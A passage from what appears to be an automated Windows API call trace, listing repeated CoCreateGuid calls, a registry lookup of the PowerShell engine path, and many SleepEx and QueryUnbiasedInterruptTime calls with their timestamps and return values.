pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe5462ecb, Data2=0x93bb, Data3=0x40bf, Data4=([0]=0x88, [1]=0xde, [2]=0x6d, [3]=0x21, [4]=0x60, [5]=0x9d, [6]=0x8c, [7]=0x77))) returned 0x0 [0185.273] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5ee01fe0, Data2=0x9c36, Data3=0x40c1, Data4=([0]=0x84, [1]=0xdc, [2]=0x59, [3]=0x28, [4]=0xb3, [5]=0x96, [6]=0xee, [7]=0x20))) returned 0x0 [0185.274] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x65f66bd1, Data2=0x2830, Data3=0x4bfd, Data4=([0]=0x82, [1]=0x65, [2]=0x63, [3]=0x65, [4]=0x6f, [5]=0x47, [6]=0x59, [7]=0x6e))) returned 0x0 [0185.274] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x864423ce, Data2=0xc041, Data3=0x493c, Data4=([0]=0xbf, [1]=0xe2, [2]=0x2a, [3]=0x80, [4]=0xe4, [5]=0x5c, [6]=0xfd, [7]=0x7))) returned 0x0 [0185.275] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5092f9dc, Data2=0xf9b, Data3=0x4952, Data4=([0]=0xbd, [1]=0xc4, [2]=0x63, [3]=0x97, [4]=0x93, [5]=0xd3, [6]=0x7e, [7]=0xc4))) returned 0x0 [0185.275] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x530b2481, Data2=0x98b8, Data3=0x4527, Data4=([0]=0xad, [1]=0x66, [2]=0xfc, [3]=0xe6, [4]=0x8f, [5]=0x20, [6]=0xb6, [7]=0x8e))) returned 0x0 [0185.276] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf83c0cbd, Data2=0xa6a7, Data3=0x4027, Data4=([0]=0x87, [1]=0xac, [2]=0xc8, [3]=0xf8, [4]=0xe2, [5]=0x92, [6]=0x89, [7]=0x36))) returned 0x0 [0185.277] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf07aa6a, Data2=0x4f96, Data3=0x46ad, Data4=([0]=0x83, [1]=0x8e, [2]=0x76, [3]=0x59, [4]=0x67, [5]=0x33, [6]=0xce, [7]=0x1f))) returned 0x0 [0185.278] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x242796e, Data2=0xe70, Data3=0x483a, Data4=([0]=0xa8, [1]=0x9b, [2]=0xf5, [3]=0xf0, [4]=0xdd, [5]=0xd8, [6]=0xcb, [7]=0x61))) returned 0x0 [0185.279] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc0a80bd3, Data2=0x248b, Data3=0x478e, Data4=([0]=0xac, [1]=0xa9, [2]=0x90, [3]=0xe0, [4]=0x8d, [5]=0xdf, [6]=0xd3, [7]=0x4d))) returned 0x0 [0185.281] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7c1c654a, Data2=0x2183, Data3=0x44be, Data4=([0]=0x8a, [1]=0x33, [2]=0xa9, [3]=0x4d, [4]=0x92, [5]=0xa8, [6]=0xad, [7]=0x49))) returned 0x0 [0185.282] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x90db7bc0, Data2=0x32ca, Data3=0x440c, Data4=([0]=0xa9, [1]=0x23, [2]=0xa5, [3]=0x13, [4]=0xce, [5]=0xb6, [6]=0x89, [7]=0x95))) returned 0x0 [0185.283] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8c5fc8ec, Data2=0x4d95, Data3=0x4897, Data4=([0]=0xb1, [1]=0x2e, [2]=0xa3, [3]=0x50, [4]=0x3e, [5]=0x4f, [6]=0xb2, [7]=0x6a))) returned 0x0 [0185.284] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x4932467d, Data2=0xcafd, Data3=0x442a, Data4=([0]=0x80, [1]=0x0, [2]=0x27, [3]=0xb6, [4]=0x7e, [5]=0x28, [6]=0xd0, [7]=0x1f))) returned 0x0 [0185.284] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x329fb09e, Data2=0x4bbb, Data3=0x4833, Data4=([0]=0xad, [1]=0xa2, [2]=0x8d, [3]=0xd8, [4]=0xd1, [5]=0x6e, [6]=0xf8, [7]=0xed))) returned 0x0 [0185.286] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf01f52a3, Data2=0xda85, Data3=0x4f71, Data4=([0]=0xa1, [1]=0xec, [2]=0xc8, [3]=0x78, [4]=0xe1, [5]=0xc2, [6]=0x15, [7]=0x5a))) returned 0x0 [0185.286] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xfa1046e3, Data2=0x14ae, Data3=0x47d3, Data4=([0]=0x83, [1]=0x11, [2]=0xc1, [3]=0x8, [4]=0x12, [5]=0x34, [6]=0xd9, [7]=0x6a))) returned 0x0 [0185.287] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x53f7539a, Data2=0x5df4, Data3=0x465c, Data4=([0]=0xb1, [1]=0xbc, [2]=0x38, [3]=0xac, [4]=0xd4, [5]=0x9b, [6]=0xc, [7]=0xd3))) returned 0x0 [0185.288] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5b6ff91b, Data2=0xdda8, Data3=0x4e74, Data4=([0]=0x83, [1]=0x5b, [2]=0xd0, [3]=0xf2, [4]=0xd4, [5]=0xf2, [6]=0x14, [7]=0xf8))) returned 0x0 [0185.288] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5dc18ef3, Data2=0xf9e3, Data3=0x4f59, Data4=([0]=0xa0, [1]=0x16, [2]=0xf8, [3]=0xc4, [4]=0x9f, [5]=0xbe, [6]=0x23, [7]=0xa8))) returned 0x0 [0185.290] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x40e91edb, Data2=0x817d, Data3=0x446e, Data4=([0]=0x94, [1]=0x3e, [2]=0x54, [3]=0xff, [4]=0x3a, [5]=0x4a, [6]=0x36, [7]=0xd6))) returned 0x0 [0185.290] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xaa2ba5e1, Data2=0x9994, Data3=0x45d3, Data4=([0]=0x97, [1]=0xb1, [2]=0x3d, [3]=0xfe, [4]=0xab, [5]=0xf3, [6]=0x3f, [7]=0x72))) returned 0x0 [0185.291] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb33fd0d0, Data2=0x1da7, Data3=0x44ba, Data4=([0]=0x91, [1]=0x79, [2]=0x6f, [3]=0xe3, [4]=0x72, [5]=0x5e, [6]=0x9c, [7]=0x16))) returned 0x0 [0185.291] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe75f5d, Data2=0xc334, Data3=0x4f39, Data4=([0]=0x9c, [1]=0x8, [2]=0x78, [3]=0x11, [4]=0x5c, [5]=0xb3, [6]=0x34, [7]=0xc3))) returned 0x0 [0185.292] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x436683ab, Data2=0x1929, Data3=0x48f4, Data4=([0]=0x8b, [1]=0xbe, [2]=0x93, [3]=0x50, [4]=0xd5, [5]=0xed, [6]=0x7f, [7]=0xe0))) returned 0x0 [0185.293] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5f3bf864, Data2=0x410f, Data3=0x435d, Data4=([0]=0x9c, [1]=0xee, [2]=0xc0, [3]=0xfc, [4]=0x8a, [5]=0x8a, [6]=0x58, [7]=0x9f))) returned 0x0 [0185.293] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x5a68d33, Data2=0x55ae, Data3=0x41fe, Data4=([0]=0x95, [1]=0xe6, [2]=0xab, [3]=0x85, [4]=0x6c, [5]=0x3f, [6]=0xa8, [7]=0x78))) returned 0x0 [0185.294] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x25ffb391, Data2=0xc39e, Data3=0x44bd, Data4=([0]=0x9f, [1]=0xff, [2]=0x14, [3]=0x4c, [4]=0xcd, [5]=0xe, [6]=0x39, [7]=0x2d))) returned 0x0 [0185.295] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xceb12f56, Data2=0x2141, Data3=0x455d, Data4=([0]=0x89, [1]=0x2a, [2]=0x44, [3]=0x24, [4]=0x59, [5]=0x79, [6]=0xc7, [7]=0x23))) returned 0x0 [0185.295] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe2ee0c1, Data2=0x5054, Data3=0x4abb, Data4=([0]=0x98, [1]=0xbc, [2]=0xbd, [3]=0x4c, [4]=0x3, [5]=0xed, [6]=0xd3, [7]=0x3d))) returned 0x0 [0185.296] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x3fc808cf, Data2=0xfd7c, Data3=0x42e9, Data4=([0]=0xbd, [1]=0xa5, [2]=0xd1, [3]=0x55, [4]=0x5e, [5]=0x2a, [6]=0xcf, [7]=0x8c))) returned 0x0 [0185.297] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x4d711edb, Data2=0x5c22, Data3=0x4bbb, Data4=([0]=0xa4, [1]=0x13, [2]=0xb7, [3]=0x72, [4]=0x96, [5]=0x4f, [6]=0xb2, [7]=0x67))) returned 0x0 [0185.298] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x687da5e2, Data2=0x76df, Data3=0x43c3, Data4=([0]=0xb3, [1]=0x73, [2]=0xe6, [3]=0x90, [4]=0xba, [5]=0x78, [6]=0x1a, [7]=0x98))) returned 0x0 [0185.299] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7d4d600b, Data2=0xad54, Data3=0x453e, Data4=([0]=0xba, [1]=0x3f, [2]=0xb3, [3]=0xaa, [4]=0x14, [5]=0x74, [6]=0x9e, [7]=0xf9))) returned 0x0 [0185.300] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xf1263f3e, Data2=0xe466, Data3=0x45da, Data4=([0]=0x8e, [1]=0x96, [2]=0xf0, [3]=0xc6, [4]=0xed, [5]=0xa4, [6]=0x48, [7]=0xb0))) returned 0x0 [0185.300] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x74f1a967, Data2=0x105d, Data3=0x408a, Data4=([0]=0xa2, [1]=0xfd, [2]=0x59, [3]=0x40, [4]=0xa8, [5]=0xc4, [6]=0xa3, [7]=0x25))) returned 0x0 [0185.300] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x9e6a6c63, Data2=0x8703, Data3=0x45d1, Data4=([0]=0x81, [1]=0x85, [2]=0x60, [3]=0xae, [4]=0x39, [5]=0x17, [6]=0x60, [7]=0x57))) returned 0x0 [0185.301] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8b85b74e, Data2=0x3ff0, Data3=0x445f, Data4=([0]=0xb2, [1]=0x7, [2]=0xa4, [3]=0xf6, [4]=0x3c, [5]=0xbb, [6]=0x7, [7]=0xb9))) returned 0x0 [0185.301] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x42a46ce3, Data2=0xc79d, Data3=0x4679, Data4=([0]=0x95, [1]=0xf1, [2]=0x65, [3]=0x4, [4]=0x55, [5]=0x71, [6]=0x1, [7]=0xc0))) returned 0x0 [0185.302] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x6d8e3ae5, Data2=0x1eea, Data3=0x428b, Data4=([0]=0xb2, [1]=0x8d, [2]=0x5a, [3]=0x88, [4]=0x93, [5]=0x7, [6]=0x47, [7]=0xef))) returned 0x0 [0185.302] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x2cea2463, Data2=0xa8cb, Data3=0x49dc, Data4=([0]=0xb6, [1]=0x3d, [2]=0xd3, [3]=0x1c, [4]=0x6d, [5]=0x33, [6]=0x60, [7]=0x9c))) returned 0x0 [0185.303] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc5dc278d, Data2=0x7213, Data3=0x4a29, Data4=([0]=0xa1, [1]=0xac, [2]=0x57, [3]=0x97, [4]=0xc, [5]=0x48, [6]=0x75, [7]=0xd5))) returned 0x0 [0185.303] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x32cdeb2e, Data2=0x9059, Data3=0x4631, Data4=([0]=0xad, [1]=0x6f, [2]=0x95, [3]=0xee, [4]=0x25, [5]=0xaa, [6]=0x43, [7]=0x52))) returned 0x0 [0185.304] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x83611828, Data2=0xdcf, Data3=0x43a1, Data4=([0]=0xbd, [1]=0x21, [2]=0xc4, [3]=0x1, [4]=0x7e, [5]=0xbd, [6]=0xc, [7]=0xb1))) returned 0x0 [0185.304] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xe7009a90, Data2=0xc535, Data3=0x48b8, Data4=([0]=0xb4, [1]=0xa, [2]=0x61, [3]=0xbf, [4]=0xeb, [5]=0xe1, [6]=0xac, [7]=0xce))) returned 0x0 [0185.305] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb17e212, Data2=0xd6bb, Data3=0x4dac, Data4=([0]=0xa4, [1]=0x13, [2]=0xdc, [3]=0x85, [4]=0x52, [5]=0xb7, [6]=0xa0, [7]=0x1))) returned 0x0 [0185.305] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x70f8cd4d, Data2=0xece2, Data3=0x4f01, Data4=([0]=0x98, [1]=0xb, [2]=0x33, [3]=0x1f, [4]=0x49, [5]=0x59, [6]=0x4e, [7]=0x96))) returned 0x0 [0185.306] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x94e0130a, Data2=0x4616, Data3=0x4e8a, Data4=([0]=0x89, [1]=0xe8, [2]=0x28, [3]=0xed, [4]=0xab, [5]=0xf0, [6]=0xe8, [7]=0x3f))) returned 0x0 [0185.306] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x7ad66c2c, Data2=0x5098, Data3=0x454b, Data4=([0]=0xb5, [1]=0xb9, [2]=0xdc, [3]=0xdf, [4]=0xeb, [5]=0x19, [6]=0xe3, [7]=0x10))) returned 0x0 [0185.306] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x72f7c831, Data2=0x3e25, Data3=0x4243, Data4=([0]=0xbd, [1]=0xe1, [2]=0x3c, [3]=0x2e, [4]=0x21, [5]=0x4b, [6]=0xb7, [7]=0x6d))) returned 0x0 [0185.307] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xcb506e9b, Data2=0xcfc, Data3=0x479b, Data4=([0]=0xb9, [1]=0xc0, [2]=0x62, [3]=0xb1, [4]=0xc3, [5]=0xfe, [6]=0xa8, [7]=0xc4))) returned 0x0 [0185.307] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xef18f94a, Data2=0x6c6f, Data3=0x4eef, Data4=([0]=0xa6, [1]=0x15, [2]=0xbd, [3]=0x21, [4]=0xe9, [5]=0x4b, [6]=0x40, [7]=0x20))) returned 0x0 [0185.307] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xd753c033, Data2=0xf17c, Data3=0x4cfa, Data4=([0]=0x82, [1]=0x77, [2]=0x9c, [3]=0x93, [4]=0x90, [5]=0x6b, [6]=0xe1, [7]=0x50))) returned 0x0 [0185.307] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x29cb80d9, Data2=0x6b9d, Data3=0x42ca, Data4=([0]=0xb8, [1]=0x6, [2]=0xed, [3]=0xbe, [4]=0x45, [5]=0x99, [6]=0x27, [7]=0x57))) returned 0x0 [0185.308] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x70854217, Data2=0xfbb5, Data3=0x471c, Data4=([0]=0x86, [1]=0xe1, [2]=0x44, [3]=0x23, [4]=0x2e, [5]=0xc, [6]=0x9e, [7]=0x97))) returned 0x0 [0185.308] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8a209002, Data2=0x7c5c, Data3=0x4f3c, Data4=([0]=0x8c, [1]=0x0, [2]=0x3e, [3]=0xb9, [4]=0xc9, [5]=0xe4, [6]=0x7d, [7]=0x9d))) returned 0x0 [0185.309] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xa22b3a69, Data2=0xe397, Data3=0x4357, Data4=([0]=0xb3, [1]=0x2d, [2]=0xeb, [3]=0x84, [4]=0x48, [5]=0xf3, [6]=0x19, [7]=0x1c))) returned 0x0 [0185.309] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xb6554c1f, Data2=0xc4cd, Data3=0x4cc2, Data4=([0]=0xab, [1]=0x5d, [2]=0x46, [3]=0x57, [4]=0x81, [5]=0xb6, [6]=0x9c, [7]=0xbe))) returned 0x0 [0185.310] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8d72bc00, Data2=0xdd0c, Data3=0x4711, Data4=([0]=0x8e, [1]=0x5c, [2]=0xa7, [3]=0x7b, [4]=0x72, [5]=0x42, [6]=0xe3, [7]=0x6b))) returned 0x0 [0185.310] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0xc65e979d, Data2=0xe545, Data3=0x4a75, Data4=([0]=0xa3, [1]=0x7d, [2]=0x82, [3]=0x19, [4]=0xc, [5]=0xe, [6]=0x60, [7]=0xb5))) returned 0x0 [0185.311] CoCreateGuid (in: pguid=0x5bfe1fe4c8 | out: pguid=0x5bfe1fe4c8*(Data1=0x8b8e46a4, Data2=0xf51, Data3=0x4f73, Data4=([0]=0x8a, [1]=0xbb, [2]=0xe9, [3]=0xed, [4]=0x8d, [5]=0xf2, [6]=0x46, [7]=0x88))) returned 0x0 [0185.313] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x5bfe1fe808 | out: phkResult=0x5bfe1fe808*=0x650) returned 0x0 [0185.314] RegQueryValueExW (in: hKey=0x650, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe1fe858, lpData=0x0, lpcbData=0x5bfe1fe850*=0x0 | out: lpType=0x5bfe1fe858*=0x1, lpData=0x0, lpcbData=0x5bfe1fe850*=0x56) returned 0x0 [0185.314] RegQueryValueExW (in: hKey=0x650, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x5bfe1fe858, lpData=0x1ef00268410, lpcbData=0x5bfe1fe850*=0x56 | out: lpType=0x5bfe1fe858*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x5bfe1fe850*=0x56) returned 0x0 [0185.314] RegCloseKey (hKey=0x650) returned 0x0 [0185.314] CoCreateGuid (in: pguid=0x5bfe1fe7d8 | out: pguid=0x5bfe1fe7d8*(Data1=0x92069145, Data2=0xd7c1, Data3=0x425a, Data4=([0]=0xac, [1]=0x4c, [2]=0xd0, [3]=0x25, [4]=0x53, [5]=0x18, [6]=0x73, [7]=0x7f))) returned 0x0 [0185.314] CoCreateGuid (in: pguid=0x5bfe1fe7d8 | out: pguid=0x5bfe1fe7d8*(Data1=0xd20ef847, Data2=0xc157, Data3=0x4c48, Data4=([0]=0xab, [1]=0x7d, [2]=0xcb, [3]=0x68, [4]=0x69, [5]=0xeb, [6]=0xf8, [7]=0x3))) returned 0x0 [0185.314] CoCreateGuid (in: pguid=0x5bfe1fe7d8 | out: pguid=0x5bfe1fe7d8*(Data1=0x7069e7c0, Data2=0xbc0a, Data3=0x4b87, Data4=([0]=0x8e, [1]=0x1, [2]=0xbb, [3]=0x7c, [4]=0x73, [5]=0xfb, [6]=0x83, [7]=0xa1))) returned 0x0 [0185.314] CoCreateGuid (in: pguid=0x5bfe1fe7d8 | out: pguid=0x5bfe1fe7d8*(Data1=0x3b79a8e7, Data2=0xda36, Data3=0x4ef9, Data4=([0]=0xa3, [1]=0x11, [2]=0x18, [3]=0x64, [4]=0x86, [5]=0x9d, [6]=0xd3, [7]=0x9))) returned 0x0 [0185.315] CoCreateGuid (in: pguid=0x5bfe1fe7d8 | out: pguid=0x5bfe1fe7d8*(Data1=0xd7197ffa, Data2=0x6310, Data3=0x4a2b, Data4=([0]=0x8b, [1]=0xf4, [2]=0x36, [3]=0x3b, [4]=0x17, [5]=0x9c, [6]=0xfc, [7]=0x36))) returned 0x0 [0185.315] CoCreateGuid (in: pguid=0x5bfe1fe7d8 | out: pguid=0x5bfe1fe7d8*(Data1=0xe2a01e3f, Data2=0xe9b4, Data3=0x41d6, Data4=([0]=0x99, [1]=0x9e, [2]=0xe1, [3]=0xfd, [4]=0x1, [5]=0x93, [6]=0x1d, [7]=0xb))) returned 0x0 [0185.317] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.443] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.478] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.537] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.597] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.615] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.694] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.787] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.834] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0185.959] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.006] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.053] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.147] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0186.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0188.997] CoCreateGuid (in: pguid=0x5bfe1fdaf8 | out: pguid=0x5bfe1fdaf8*(Data1=0x368bbc8e, Data2=0x5899, Data3=0x4e16, Data4=([0]=0xa4, [1]=0xbb, [2]=0x8a, [3]=0xcc, [4]=0xf8, [5]=0x59, [6]=0x28, [7]=0xce))) returned 0x0 [0189.009] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.047] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.141] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.153] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.297] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.344] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.391] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.531] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.625] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.672] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.766] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.807] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0189.948] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.049] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.120] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.222] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.547] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.631] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.720] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0190.906] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.000] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.188] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.361] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.440] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.552] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.589] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.643] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.690] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0191.955] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.049] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.137] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fe7e8 | out: UnbiasedTime=0x5bfe1fe7e8) returned 1 [0192.137] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x5bfe1fe7e8 | out: UnbiasedTime=0x5bfe1fe7e8) returned 1 [0192.163] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.221] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.315] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0192.409] SleepEx 